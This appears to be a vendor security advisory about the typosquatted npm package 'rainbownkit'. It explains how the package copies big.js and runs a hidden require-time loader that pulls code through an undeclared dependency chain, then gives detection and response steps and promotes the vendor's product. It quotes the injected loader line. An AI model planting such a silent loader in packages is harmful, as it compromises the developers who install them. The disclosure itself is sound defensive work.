rainbownkitnpm
Malicious code in rainbownkit (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package 'rainbownkit' is a single-character typosquat of the popular Web3 library 'rainbowkit'. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated 'big.js' arbitrary-precision math library — a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package's main entry (big.js and big.mjs, both referenced via main and exports) contains an injected try/catch around line 606 that runs at require/import time: const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}). The 'parket-slot' module is not declared in package.json and would be pulled in transitively via the package's only declared runtime dependency 'log-taker' (^0.0.9), an undocumented niche package with no relation to the package's claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs require('rainbownkit') (or any code that imports it) executes whatever code the 'parket-slot' / 'log-taker' chain delivers at that moment — a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for rainbownkit (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging rainbownkit across your stack and pipelines.
If you installed it — respond
rainbownkit is a typosquat — you almost certainly intended a legitimately-named package. Remove rainbownkit, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If rainbownkit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks rainbownkit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks rainbownkit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.